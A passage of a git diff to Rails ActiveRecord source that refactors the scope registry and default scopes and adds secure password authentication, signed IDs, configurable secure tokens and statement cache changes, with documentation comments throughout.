+      sm.project(*Arel::Nodes::Count.new([Arel.star]))
 
-      def normalized_versions
-        pluck(:version).map { |v| normalize_migration_number v }
+      @pool.with_connection do |connection|
+        connection.select_values(sm, "#{self.class} Count").first
       end
     end
 
-    def version
-      super.to_i
+    def table_exists?
+      @pool.with_connection do |connection|
+        connection.data_source_exists?(table_name)
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
index 7c00e7e4ed78e..dff590d9c0902 100644
--- a/activerecord/lib/active_record/scoping.rb
+++ b/activerecord/lib/active_record/scoping.rb
@@ -1,4 +1,5 @@
-require "active_support/per_thread_registry"
+# frozen_string_literal: true
+
 
 module ActiveRecord
   module Scoping
@@ -9,33 +10,44 @@ module Scoping
       include Named
     end
 
-    module ClassMethods
-      def current_scope #:nodoc:
-        ScopeRegistry.value_for(:current_scope, self)
-      end
-
-      def current_scope=(scope) #:nodoc:
-        ScopeRegistry.set_value_for(:current_scope, self, scope)
-      end
-
+    module ClassMethods # :nodoc:
       # Collects attributes from scopes that should be applied when creating
       # an AR instance for the particular class this is called on.
-      def scope_attributes # :nodoc:
+      def scope_attributes
         all.scope_for_create
       end
 
       # Are there attributes associated with this scope?
-      def scope_attributes? # :nodoc:
+      def scope_attributes?
         current_scope
       end
+
+      def current_scope(skip_inherited_scope = false)
+        ScopeRegistry.current_scope(self, skip_inherited_scope)
+      end
+
+      def current_scope=(scope)
+        ScopeRegistry.set_current_scope(self, scope)
+      end
+
+      def global_current_scope(skip_inherited_scope = false)
+        ScopeRegistry.global_current_scope(self, skip_inherited_scope)
+      end
+
+      def global_current_scope=(scope)
+        ScopeRegistry.set_global_current_scope(self, scope)
+      end
+
+      def scope_registry
+        ScopeRegistry.instance
+      end
     end
 
     def populate_with_current_scope_attributes # :nodoc:
       return unless self.class.scope_attributes?
 
-      self.class.scope_attributes.each do |att, value|
-        send("#{att}=", value) if respond_to?("#{att}=")
-      end
+      attributes = self.class.scope_attributes
+      _assign_attributes(attributes) if attributes.any?
     end
 
     def initialize_internals_callback # :nodoc:
@@ -44,8 +56,8 @@ def initialize_internals_callback # :nodoc:
     end
 
     # This class stores the +:current_scope+ and +:ignore_default_scope+ values
-    # for different classes. The registry is stored as a thread local, which is
-    # accessed through +ScopeRegistry.current+.
+    # for different classes. The registry is stored as either a thread or fiber
+    # local depending on the application configuration.
     #
     # This class allows you to store and get the scope values on different
     # classes and different types of scopes. For example, if you are attempting
@@ -53,51 +65,70 @@ def initialize_internals_callback # :nodoc:
     # following code:
     #
     #   registry = ActiveRecord::Scoping::ScopeRegistry
-    #   registry.set_value_for(:current_scope, Board, some_new_scope)
+    #   registry.set_current_scope(Board, some_new_scope)
     #
     # Now when you run:
     #
-    #   registry.value_for(:current_scope, Board)
+    #   registry.current_scope(Board)
     #
-    # You will obtain whatever was defined in +some_new_scope+. The #value_for
-    # and #set_value_for methods are delegated to the current ScopeRegistry
-    # object, so the above example code can also be called as:
-    #
-    #   ActiveRecord::Scoping::ScopeRegistry.set_value_for(:current_scope,
-    #       Board, some_new_scope)
+    # You will obtain whatever was defined in +some_new_scope+.
     class ScopeRegistry # :nodoc:
-      extend ActiveSupport::PerThreadRegistry
+      class << self
+        delegate :current_scope, :set_current_scope, :ignore_default_scope, :set_ignore_default_scope,
+          :global_current_scope, :set_global_current_scope, to: :instance
 
-      VALID_SCOPE_TYPES = [:current_scope, :ignore_default_scope]
+        def instance
+          ActiveSupport::IsolatedExecutionState[:active_record_scope_registry] ||= new
+        end
+      end
 
       def initialize
-        @registry = Hash.new { |hash, key| hash[key] = {} }
+        @current_scope        = {}
+        @ignore_default_scope = {}
+        @global_current_scope = {}
       end
 
-      # Obtains the value for a given +scope_type+ and +model+.
-      def value_for(scope_type, model)
-        raise_invalid_scope_type!(scope_type)
-        klass = model
-        base = model.base_class
-        while klass <= base
-          value = @registry[scope_type][klass.name]
-          return value if value
-          klass = klass.superclass
-        end
+      def current_scope(model, skip_inherited_scope = false)
+        value_for(@current_scope, model, skip_inherited_scope)
       end
 
-      # Sets the +value+ for a given +scope_type+ and +model+.
-      def set_value_for(scope_type, model, value)
-        raise_invalid_scope_type!(scope_type)
-        @registry[scope_type][model.name] = value
+      def set_current_scope(model, value)
+        set_value_for(@current_scope, model, value)
       end
 
-      private
+      def ignore_default_scope(model, skip_inherited_scope = false)
+        value_for(@ignore_default_scope, model, skip_inherited_scope)
+      end
+
+      def set_ignore_default_scope(model, value)
+        set_value_for(@ignore_default_scope, model, value)
+      end
 
-        def raise_invalid_scope_type!(scope_type)
-          if !VALID_SCOPE_TYPES.include?(scope_type)
-            raise ArgumentError, "Invalid scope type '#{scope_type}' sent to the registry. Scope types must be included in VALID_SCOPE_TYPES"
+      def global_current_scope(model, skip_inherited_scope = false)
+        value_for(@global_current_scope, model, skip_inherited_scope)
+      end
+
+      def set_global_current_scope(model, value)
+        set_value_for(@global_current_scope, model, value)
+      end
+
+      private
+        # Obtains the value for a given +scope_type+ and +model+.
+        def value_for(scope_type, model, skip_inherited_scope = false)
+          return scope_type[model.name] if skip_inherited_scope
+          klass = model
+          base = model.base_class
+          while klass != base
+            value = scope_type[klass.name]
+            return value if value
+            klass = klass.superclass
           end
+          scope_type[klass.name]
+        end
+
+        # Sets the +value+ for a given +scope_type+ and +model+.
+        def set_value_for(scope_type, model, value)
+          scope_type[model.name] = value
         end
     end
   end
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
index 2daa48859a215..bde820a659ac8 100644
--- a/activerecord/lib/active_record/scoping/default.rb
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -1,29 +1,45 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Scoping
+    class DefaultScope # :nodoc:
+      attr_reader :scope, :all_queries
+
+      def initialize(scope, all_queries = nil)
+        @scope = scope
+        @all_queries = all_queries
+      end
+    end
+
     module Default
       extend ActiveSupport::Concern
 
       included do
         # Stores the default scope for the class.
-        class_attribute :default_scopes, instance_writer: false, instance_predicate: false
-        class_attribute :default_scope_override, instance_writer: false, instance_predicate: false
-
-        self.default_scopes = []
-        self.default_scope_override = nil
+        class_attribute :default_scopes, instance_writer: false, instance_predicate: false, default: []
+        class_attribute :default_scope_override, instance_writer: false, instance_predicate: false, default: nil
       end
 
       module ClassMethods
         # Returns a scope for the model without the previously set scopes.
         #
         #   class Post < ActiveRecord::Base
+        #     belongs_to :user
+        #
         #     def self.default_scope
         #       where(published: true)
         #     end
         #   end
         #
+        #   class User < ActiveRecord::Base
+        #     has_many :posts
+        #   end
+        #
         #   Post.all                                  # Fires "SELECT * FROM posts WHERE published = true"
         #   Post.unscoped.all                         # Fires "SELECT * FROM posts"
         #   Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
+        #   User.find(1).posts                        # Fires "SELECT * FROM posts WHERE published = true AND posts.user_id = 1"
+        #   User.find(1).posts.unscoped               # Fires "SELECT * FROM posts"
         #
         # This method also accepts a block. All queries inside the block will
         # not use the previously set scopes.
@@ -31,8 +47,8 @@ module ClassMethods
         #   Post.unscoped {
         #     Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
         #   }
-        def unscoped
-          block_given? ? relation.scoping { yield } : relation
+        def unscoped(&block)
+          block_given? ? relation.scoping(&block) : relation
         end
 
         # Are there attributes associated with this scope?
@@ -40,12 +56,18 @@ def scope_attributes? # :nodoc:
           super || default_scopes.any? || respond_to?(:default_scope)
         end
 
-        def before_remove_const #:nodoc:
-          self.current_scope = nil
+        # Checks if the model has any default scopes. If all_queries
+        # is set to true, the method will check if there are any
+        # default_scopes for the model  where +all_queries+ is true.
+        def default_scopes?(all_queries: false)
+          if all_queries
+            self.default_scopes.any?(&:all_queries)
+          else
+            self.default_scopes.any?
+          end
         end
 
         private
-
           # Use this macro in your model to set a default scope for all operations on
           # the model.
           #
@@ -53,14 +75,30 @@ def before_remove_const #:nodoc:
           #     default_scope { where(published: true) }
           #   end
           #
-          #   Article.all # => SELECT * FROM articles WHERE published = true
+          #   Article.all
+          #   # SELECT * FROM articles WHERE published = true
           #
           # The #default_scope is also applied while creating/building a record.
-          # It is not applied while updating a record.
+          # It is not applied while updating or deleting a record.
           #
           #   Article.new.published    # => true
           #   Article.create.published # => true
           #
+          # To apply a #default_scope when updating or deleting a record, add
+          # <tt>all_queries: true</tt>:
+          #
+          #   class Article < ActiveRecord::Base
+          #     default_scope -> { where(blog_id: 1) }, all_queries: true
+          #   end
+          #
+          # Applying a default scope to all queries will ensure that records
+          # are always queried by the additional conditions. Note that only
+          # where clauses apply, as it does not make sense to add order to
+          # queries that return a single object by primary key.
+          #
+          #   Article.find(1).destroy
+          #   # DELETE ... FROM `articles` where ID = 1 AND blog_id = 1;
+          #
           # (You can also pass any object which responds to +call+ to the
           # +default_scope+ macro, and it will be called when building the
           # default scope.)
@@ -73,7 +111,8 @@ def before_remove_const #:nodoc:
           #     default_scope { where(rating: 'G') }
           #   end
           #
-          #   Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G'
+          #   Article.all
+          #   # SELECT * FROM articles WHERE published = true AND rating = 'G'
           #
           # This is also the case with inheritance and module includes where the
           # parent or module defines a #default_scope and the child or including
@@ -87,8 +126,8 @@ def before_remove_const #:nodoc:
           #       # Should return a scope, you can call 'super' here etc.
           #     end
           #   end
-          def default_scope(scope = nil) # :doc:
-            scope = Proc.new if block_given?
+          def default_scope(scope = nil, all_queries: nil, &block) # :doc:
+            scope = block if block_given?
 
             if scope.is_a?(Relation) || !scope.respond_to?(:call)
               raise ArgumentError,
@@ -98,10 +137,12 @@ def default_scope(scope = nil) # :doc:
                 "self.default_scope.)"
             end
 
-            self.default_scopes += [scope]
+            default_scope = DefaultScope.new(scope, all_queries)
+
+            self.default_scopes += [default_scope]
           end
 
-          def build_default_scope(base_rel = nil)
+          def build_default_scope(relation = relation(), all_queries: nil)
             return if abstract_class?
 
             if default_scope_override.nil?
@@ -110,24 +151,39 @@ def build_default_scope(base_rel = nil)
 
             if default_scope_override
               # The user has defined their own default scope method, so call that
-              evaluate_default_scope { default_scope }
+              evaluate_default_scope do
+                relation.scoping { default_scope }
+              end
             elsif default_scopes.any?
-              base_rel ||= relation
               evaluate_default_scope do
-                default_scopes.inject(base_rel) do |default_scope, scope|
-                  scope = scope.respond_to?(:to_proc) ? scope : scope.method(:call)
-                  default_scope.merge(base_rel.instance_exec(&scope))
+                default_scopes.inject(relation) do |combined_scope, scope_obj|
+                  if execute_scope?(all_queries, scope_obj)
+                    scope = scope_obj.scope.respond_to?(:to_proc) ? scope_obj.scope : scope_obj.scope.method(:call)
+
+                    combined_scope.instance_exec(&scope) || combined_scope
+                  else
+                    combined_scope
+                  end
                 end
               end
             end
           end
 
+          # If all_queries is nil, only execute on select and insert queries.
+          #
+          # If all_queries is true, check if the default_scope object has
+          # all_queries set, then execute on all queries; select, insert, update,
+          # delete, and reload.
+          def execute_scope?(all_queries, default_scope_obj)
+            all_queries.nil? || all_queries && default_scope_obj.all_queries
+          end
+
           def ignore_default_scope?
-            ScopeRegistry.value_for(:ignore_default_scope, base_class)
+            ScopeRegistry.ignore_default_scope(base_class)
           end
 
           def ignore_default_scope=(ignore)
-            ScopeRegistry.set_value_for(:ignore_default_scope, base_class, ignore)
+            ScopeRegistry.set_ignore_default_scope(base_class, ignore)
           end
 
           # The ignore_default_scope flag is used to prevent an infinite recursion
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
index 27cdf8cb7ea12..cb1cf876bcbe9 100644
--- a/activerecord/lib/active_record/scoping/named.rb
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -1,6 +1,4 @@
-require "active_support/core_ext/array"
-require "active_support/core_ext/hash/except"
-require "active_support/core_ext/kernel/singleton_class"
+# frozen_string_literal: true
 
 module ActiveRecord
   # = Active Record \Named \Scopes
@@ -21,21 +19,38 @@ module ClassMethods
         #
         # You can define a scope that applies to all finders using
         # {default_scope}[rdoc-ref:Scoping::Default::ClassMethods#default_scope].
-        def all
-          if current_scope
-            current_scope.clone
+        def all(all_queries: nil)
+          scope = current_scope
+
+          if scope
+            if self == scope.model
+              scope.clone
+            else
+              relation.merge!(scope)
+            end
           else
-            default_scoped
+            default_scoped(all_queries: all_queries)
           end
         end
 
-        def default_scoped # :nodoc:
-          scope = build_default_scope
+        def scope_for_association(scope = relation) # :nodoc:
+          if current_scope&.empty_scope?
+            scope
+          else
+            default_scoped(scope)
+          end
+        end
 
-          if scope
-            relation.spawn.merge!(scope)
+        # Returns a scope for the model with default scopes.
+        def default_scoped(scope = relation, all_queries: nil)
+          build_default_scope(scope, all_queries: all_queries) || scope
+        end
+
+        def default_extensions # :nodoc:
+          if scope = scope_for_association || build_default_scope
+            scope.extensions
           else
-            relation
+            []
           end
         end
 
@@ -57,10 +72,6 @@ def default_scoped # :nodoc:
         # <tt>Shirt.dry_clean_only</tt>. <tt>Shirt.red</tt>, in effect,
         # represents the query <tt>Shirt.where(color: 'red')</tt>.
         #
-        # You should always pass a callable object to the scopes defined
-        # with #scope. This ensures that the scope is re-evaluated each
-        # time it is called.
-        #
         # Note that this is simply 'syntactic sugar' for defining an actual
         # class method:
         #
@@ -151,33 +162,39 @@ def scope(name, body, &block)
               "a class method with the same name."
           end
 
-          valid_scope_name?(name)
+          if method_defined_within?(name, Relation)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but ActiveRecord::Relation already defined " \
+              "an instance method with the same name."
+          end
+
           extension = Module.new(&block) if block
 
           if body.respond_to?(:to_proc)
-            singleton_class.send(:define_method, name) do |*args|
-              scope = all.scoping { instance_exec(*args, &body) }
+            singleton_class.define_method(name) do |*args|
+              scope = all._exec_scope(*args, &body)
               scope = scope.extending(extension) if extension
-
-              scope || all
+              scope
             end
           else
-            singleton_class.send(:define_method, name) do |*args|
-              scope = all.scoping { body.call(*args) }
+            singleton_class.define_method(name) do |*args|
+              scope = body.call(*args) || all
               scope = scope.extending(extension) if extension
-
-              scope || all
+              scope
             end
           end
+          singleton_class.send(:ruby2_keywords, name)
+
+          generate_relation_method(name)
         end
 
         private
-
-          def valid_scope_name?(name)
-            if respond_to?(name, true) && logger
-              logger.warn "Creating scope :#{name}. " \
-                "Overwriting existing method #{self.name}.#{name}."
-            end
+          def singleton_method_added(name)
+            super
+            # Most Kernel extends are both singleton and instance methods so
+            # respond_to is a fast check, but we don't want to define methods
+            # only on the module (ex. Module#name)
+            generate_relation_method(name) if Kernel.respond_to?(name) && (Kernel.method_defined?(name) || Kernel.private_method_defined?(name)) && !ActiveRecord::Relation.method_defined?(name)
           end
       end
     end
diff --git a/activerecord/lib/active_record/secure_password.rb b/activerecord/lib/active_record/secure_password.rb
new file mode 100644
index 0000000000000..159d739400570
--- /dev/null
+++ b/activerecord/lib/active_record/secure_password.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module SecurePassword
+    extend ActiveSupport::Concern
+
+    include ActiveModel::SecurePassword
+
+    module ClassMethods
+      # Given a set of attributes, finds a record using the non-password
+      # attributes, and then authenticates that record using the password
+      # attributes. Returns the record if authentication succeeds; otherwise,
+      # returns +nil+.
+      #
+      # Regardless of whether a record is found, +authenticate_by+ will
+      # cryptographically digest the given password attributes. This behavior
+      # helps mitigate timing-based enumeration attacks, wherein an attacker can
+      # determine if a passworded record exists even without knowing the
+      # password.
+      #
+      # Raises an ArgumentError if the set of attributes doesn't contain at
+      # least one password and one non-password attribute.
+      #
+      # ==== Examples
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password
+      #   end
+      #
+      #   User.create(name: "John Doe", email: "jdoe@example.com", password: "abc123")
+      #
+      #   User.authenticate_by(email: "jdoe@example.com", password: "abc123").name # => "John Doe" (in 373.4ms)
+      #   User.authenticate_by(email: "jdoe@example.com", password: "wrong")       # => nil (in 373.9ms)
+      #   User.authenticate_by(email: "wrong@example.com", password: "abc123")     # => nil (in 373.6ms)
+      #
+      #   User.authenticate_by(email: "jdoe@example.com", password: nil) # => nil (no queries executed)
+      #   User.authenticate_by(email: "jdoe@example.com", password: "")  # => nil (no queries executed)
+      #
+      #   User.authenticate_by(email: "jdoe@example.com") # => ArgumentError
+      #   User.authenticate_by(password: "abc123")        # => ArgumentError
+      def authenticate_by(attributes)
+        passwords, identifiers = attributes.to_h.partition do |name, value|
+          !has_attribute?(name) && has_attribute?("#{name}_digest")
+        end.map(&:to_h)
+
+        raise ArgumentError, "One or more password arguments are required" if passwords.empty?
+        raise ArgumentError, "One or more finder arguments are required" if identifiers.empty?
+
+        return if passwords.any? { |name, value| value.nil? || value.empty? }
+
+        if record = find_by(identifiers)
+          record if passwords.count { |name, value| record.public_send(:"authenticate_#{name}", value) } == passwords.size
+        else
+          new(passwords)
+          nil
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/secure_token.rb b/activerecord/lib/active_record/secure_token.rb
index 115799cc20834..5b4c15b9aa761 100644
--- a/activerecord/lib/active_record/secure_token.rb
+++ b/activerecord/lib/active_record/secure_token.rb
@@ -1,5 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module SecureToken
+    class MinimumLengthError < StandardError; end
+
+    MINIMUM_TOKEN_LENGTH = 24
+
     extend ActiveSupport::Concern
 
     module ClassMethods
@@ -8,30 +14,71 @@ module ClassMethods
       #   # Schema: User(token:string, auth_token:string)
       #   class User < ActiveRecord::Base
       #     has_secure_token
-      #     has_secure_token :auth_token
+      #     has_secure_token :invite_token, prefix: true
+      #     has_secure_token :auth_token, length: 36, prefix: "auth_"
       #   end
       #
       #   user = User.new
       #   user.save
       #   user.token # => "pX27zsMN2ViQKta1bGfLmVJE"
-      #   user.auth_token # => "77TMHrHJFvFDwodq8w7Ev2m7"
+      #   user.invite_token # => "invite_token_srUP2WWCb6yCtfy6CAKVdzxF"
+      #   user.auth_token # => "auth_tU9bLuZseefXQ4yQxQo8wjtBvsAfPc78os6R"
       #   user.regenerate_token # => true
+      #   user.regenerate_invite_token # => true
       #   user.regenerate_auth_token # => true
       #
-      # <tt>SecureRandom::base58</tt> is used to generate the 24-character unique token, so collisions are highly unlikely.
+      # +SecureRandom::base58+ is used to generate at minimum a 24-character unique token, so collisions are highly unlikely.
       #
       # Note that it's still possible to generate a race condition in the database in the same way that
       # {validates_uniqueness_of}[rdoc-ref:Validations::ClassMethods#validates_uniqueness_of] can.
       # You're encouraged to add a unique index in the database to deal with this even more unlikely scenario.
-      def has_secure_token(attribute = :token)
+      #
+      # ==== Options
+      #
+      # [+:length+]
+      #   Length of the randomly generated token, with a minimum of 24 characters. Defaults to 24.
+      #
+      # [+:on+]
+      #   The callback when the value is generated. When called with <tt>on:
+      #   :initialize</tt>, the value is generated in an
+      #   <tt>after_initialize</tt> callback, otherwise the value will be used
+      #   in a <tt>before_</tt> callback. When not specified, +:on+ will use the value of
+      #   <tt>config.active_record.generate_secure_token_on</tt>, which defaults to +:initialize+
+      #   starting in \Rails 7.1.
+      #
+      # [+:prefix+]
+      #   An optional string prepended to the generated token. Intended primarily for keys that
+      #   will be publicly visible (e.g. API keys, URLs, etc.) so that their purpose can be identified at a glance.
+      #   The prefix does not count toward +:length+.
+      def has_secure_token(attribute = :token, length: MINIMUM_TOKEN_LENGTH, on: ActiveRecord.generate_secure_token_on, prefix: nil)
+        if length < MINIMUM_TOKEN_LENGTH
+          raise MinimumLengthError, "Token requires a minimum length of #{MINIMUM_TOKEN_LENGTH} characters."
+        end
+
+        prefix = "#{attribute}_" if prefix == true
+
+        if prefix
+          generate_token = -> do
+            token = self.generate_unique_secure_token(length: length)
+
+            "#{prefix}#{token}"
+          end
+        else
+          generate_token = -> { self.generate_unique_secure_token(length: length) }
+        end
+
         # Load securerandom only when has_secure_token is used.
         require "active_support/core_ext/securerandom"
-        define_method("regenerate_#{attribute}") { update! attribute => self.class.generate_unique_secure_token }
-        before_create { send("#{attribute}=", self.class.generate_unique_secure_token) unless send("#{attribute}?") }
+        define_method("regenerate_#{attribute}") { update! attribute => generate_token.call }
+        set_callback on, on == :initialize ? :after : :before do
+          if new_record? && !query_attribute(attribute)
+            send("#{attribute}=", generate_token.call)
+          end
+        end
       end
 
-      def generate_unique_secure_token
-        SecureRandom.base58(24)
+      def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+        SecureRandom.base58(length)
       end
     end
   end
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
index db2bd0b55eddc..e9e5159e51a85 100644
--- a/activerecord/lib/active_record/serialization.rb
+++ b/activerecord/lib/active_record/serialization.rb
@@ -1,4 +1,6 @@
-module ActiveRecord #:nodoc:
+# frozen_string_literal: true
+
+module ActiveRecord # :nodoc:
   # = Active Record \Serialization
   module Serialization
     extend ActiveSupport::Concern
@@ -9,12 +11,19 @@ module Serialization
     end
 
     def serializable_hash(options = nil)
-      options = options.try(:dup) || {}
+      if self.class._has_attribute?(self.class.inheritance_column)
+        options = options ? options.dup : {}
 
-      options[:except] = Array(options[:except]).map(&:to_s)
-      options[:except] |= Array(self.class.inheritance_column)
+        options[:except] = Array(options[:except]).map(&:to_s)
+        options[:except] |= Array(self.class.inheritance_column)
+      end
 
       super(options)
     end
+
+    private
+      def attribute_names_for_serialization
+        attribute_names
+      end
   end
 end
diff --git a/activerecord/lib/active_record/signed_id.rb b/activerecord/lib/active_record/signed_id.rb
new file mode 100644
index 0000000000000..595fee7e068e4
--- /dev/null
+++ b/activerecord/lib/active_record/signed_id.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Signed Id
+  module SignedId
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_signed_id_verifier, instance_accessor: false, instance_predicate: false
+
+      ##
+      # :singleton-method:
+      # Set the secret used for the signed id verifier instance when using Active Record outside of \Rails.
+      # Within \Rails, this is automatically set using the \Rails application key generator.
+      class_attribute :signed_id_verifier_secret, instance_writer: false
+      module DeprecateSignedIdVerifierSecret
+        def signed_id_verifier_secret=(secret)
+          ActiveRecord.deprecator.warn(<<~MSG)
+            ActiveRecord::Base.signed_id_verifier_secret is deprecated and will be removed in Rails 8.2.
+
+            If the secret is model-specific, set Model.signed_id_verifier instead.
+
+            Otherwise, configure Rails.application.message_verifiers (or ActiveRecord.message_verifiers) with the secret.
+          MSG
+
+          super
+        end
+      end
+      singleton_class.prepend DeprecateSignedIdVerifierSecret
+    end
+
+    module RelationMethods # :nodoc:
+      def find_signed(...)
+        scoping { model.find_signed(...) }
+      end
+
+      def find_signed!(...)
+        scoping { model.find_signed!(...) }
+      end
+    end
+
+    module ClassMethods
+      # Lets you find a record based on a signed id that's safe to put into the world without risk of tampering.
+      # This is particularly useful for things like password reset or email verification, where you want
+      # the bearer of the signed id to be able to interact with the underlying record, but usually only within
+      # a certain time period.
+      #
+      # You set the time period that the signed id is valid for during generation, using the instance method
+      # <tt>signed_id(expires_in: 15.minutes)</tt>. If the time has elapsed before a signed find is attempted,
+      # the signed id will no longer be valid, and nil is returned.
+      #
+      # It's possible to further restrict the use of a signed id with a purpose. This helps when you have a
+      # general base model, like a User, which might have signed ids for several things, like password reset
+      # or email verification. The purpose that was set during generation must match the purpose set when
+      # finding. If there's a mismatch, nil is again returned.
+      #
+      # ==== Examples
+      #
+      #   signed_id = User.first.signed_id expires_in: 15.minutes, purpose: :password_reset
+      #
+      #   User.find_signed signed_id # => nil, since the purpose does not match
+      #
+      #   travel 16.minutes
+      #   User.find_signed signed_id, purpose: :password_reset # => nil, since the signed id has expired
+      #
+      #   travel_back
+      #   User.find_signed signed_id, purpose: :password_reset # => User.first
+      def find_signed(signed_id, purpose: nil, on_rotation: nil)
+        raise UnknownPrimaryKey.new(self) if primary_key.nil?
+
+        options = { on_rotation: on_rotation }.compact
+        if id = signed_id_verifier.verified(signed_id, purpose: combine_signed_id_purposes(purpose), **options)
+          find_by primary_key => id
+        end
+      end
+
+      # Works like find_signed, but will raise an ActiveSupport::MessageVerifier::InvalidSignature
+      # exception if the +signed_id+ has either expired, has a purpose mismatch, is for another record,
+      # or has been tampered with. It will also raise an ActiveRecord::RecordNotFound exception if
+      # the valid signed id can't find a record.
+      #
+      # ==== Examples
+      #
+      #   User.find_signed! "bad data" # => ActiveSupport::MessageVerifier::InvalidSignature
+      #
+      #   signed_id = User.first.signed_id
+      #   User.first.destroy
+      #   User.find_signed! signed_id # => ActiveRecord::RecordNotFound
+      def find_signed!(signed_id, purpose: nil, on_rotation: nil)
+        options = { on_rotation: on_rotation }.compact
+        if id = signed_id_verifier.verify(signed_id, purpose: combine_signed_id_purposes(purpose), **options)
+          find(id)
+        end
+      end
+
+      def signed_id_verifier
+        if signed_id_verifier_secret
+          @signed_id_verifier ||= begin
+            secret = signed_id_verifier_secret
+            secret = secret.call if secret.respond_to?(:call)
+
+            if secret.nil?
+              raise ArgumentError, "You must set ActiveRecord::Base.signed_id_verifier_secret to use signed IDs"
+            end
+
+            ActiveSupport::MessageVerifier.new secret, digest: "SHA256", serializer: JSON, url_safe: true
+          end
+        else
+          return _signed_id_verifier if _signed_id_verifier
+
+          if ActiveRecord.message_verifiers.nil?
+            raise "You must set ActiveRecord.message_verifiers to use signed IDs"
+          end
+
+          ActiveRecord.message_verifiers["active_record/signed_id"]
+        end
+      end
+
+      # Allows you to pass in a custom verifier used for the signed ids. This also allows you to use different
+      # verifiers for different classes. This is also helpful if you need to rotate keys, as you can prepare
+      # your custom verifier for that in advance. See ActiveSupport::MessageVerifier for details.
+      def signed_id_verifier=(verifier)
+        if signed_id_verifier_secret
+          @signed_id_verifier = verifier
+        else
+          self._signed_id_verifier = verifier
+        end
+      end
+
+      # :nodoc:
+      def combine_signed_id_purposes(purpose)
+        [ base_class.name.underscore, purpose.to_s ].compact_blank.join("/")
+      end
+    end
+
+
+    # Returns a signed id that's generated using a preconfigured +ActiveSupport::MessageVerifier+ instance.
+    #
+    # This signed id is tamper proof, so it's safe to send in an email or otherwise share with the outside world.
+    # However, as with any message signed with a +ActiveSupport::MessageVerifier+,
+    # {the signed id is not encrypted}[link:classes/ActiveSupport/MessageVerifier.html#class-ActiveSupport::MessageVerifier-label-Signing+is+not+encryption].
+    # It's just encoded and protected against tampering.
+    #
+    # This means that the ID can be decoded by anyone; however, if tampered with (so to point to a different ID),
+    # the cryptographic signature will no longer match, and the signed id will be considered invalid and return nil
+    # when passed to +find_signed+ (or raise with +find_signed!+).
+    #
+    # It can furthermore be set to expire (the default is not to expire), and scoped down with a specific purpose.
+    # If the expiration date has been exceeded before +find_signed+ is called, the id won't find the designated
+    # record. If a purpose is set, this too must match.
+    #
+    # If you accidentally let a signed id out in the wild that you wish to retract sooner than its expiration date
+    # (or maybe you forgot to set an expiration date while meaning to!), you can use the purpose to essentially
+    # version the signed_id, like so:
+    #
+    #   user.signed_id purpose: :v2
+    #
+    # And you then change your +find_signed+ calls to require this new purpose. Any old signed ids that were not
+    # created with the purpose will no longer find the record.
+    def signed_id(expires_in: nil, expires_at: nil, purpose: nil)
+      raise ArgumentError, "Cannot get a signed_id for a new record" if new_record?
+
+      self.class.signed_id_verifier.generate id, expires_in: expires_in, expires_at: expires_at, purpose: self.class.combine_signed_id_purposes(purpose)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
index 1877489e55d64..af8437da6f60d 100644
--- a/activerecord/lib/active_record/statement_cache.rb
+++ b/activerecord/lib/active_record/statement_cache.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # Statement cache is used to cache a single statement in order to avoid creating the AST again.
   # Initializing the cache is done by passing the statement in the create block:
   #
-  #   cache = StatementCache.create(Book.connection) do |params|
+  #   cache = StatementCache.create(ClothingItem.lease_connection) do |params|
   #     Book.where(name: "my book").where("author_id > 3")
   #   end
   #
   # The cached statement is executed by using the
   # {connection.execute}[rdoc-ref:ConnectionAdapters::DatabaseStatements#execute] method:
   #
-  #   cache.execute([], Book, Book.connection)
+  #   cache.execute([], ClothingItem.lease_connection)
   #
   # The relation returned by the block is cached, and for each
   # {execute}[rdoc-ref:ConnectionAdapters::DatabaseStatements#execute]
@@ -18,19 +20,22 @@ module ActiveRecord
   # If you want to cache the statement without the values you can use the +bind+ method of the
   # block parameter.
   #
-  #   cache = StatementCache.create(Book.connection) do |params|
+  #   cache = StatementCache.create(ClothingItem.lease_connection) do |params|
   #     Book.where(name: params.bind)
   #   end
   #
   # And pass the bind values as the first argument of +execute+ call.
   #
-  #   cache.execute(["my book"], Book, Book.connection)
+  #   cache.execute(["my book"], ClothingItem.lease_connection)
   class StatementCache # :nodoc:
     class Substitute; end # :nodoc:
 
     class Query # :nodoc:
-      def initialize(sql)
+      attr_reader :retryable
+
+      def initialize(sql, retryable:)
         @sql = sql
+        @retryable = retryable
       end
 
       def sql_for(binds, connection)
@@ -39,27 +44,70 @@ def sql_for(binds, connection)
     end
 
     class PartialQuery < Query # :nodoc:
-      def initialize(values)
+      def initialize(values, retryable:)
         @values = values
         @indexes = values.each_with_index.find_all { |thing, i|
-          Arel::Nodes::BindParam === thing
+          Substitute === thing
         }.map(&:last)
+        @retryable = retryable
       end
 
       def sql_for(binds, connection)
         val = @values.dup
-        casted_binds = binds.map(&:value_for_database)
-        @indexes.each { |i| val[i] = connection.quote(casted_binds.shift) }
+        @indexes.each do |i|
+          value = binds.shift
+          if ActiveModel::Attribute === value
+            value = value.value_for_database
+          end
+          val[i] = connection.quote(value)
+        end
         val.join
       end
     end
 
-    def self.query(sql)
-      Query.new(sql)
+    class PartialQueryCollector
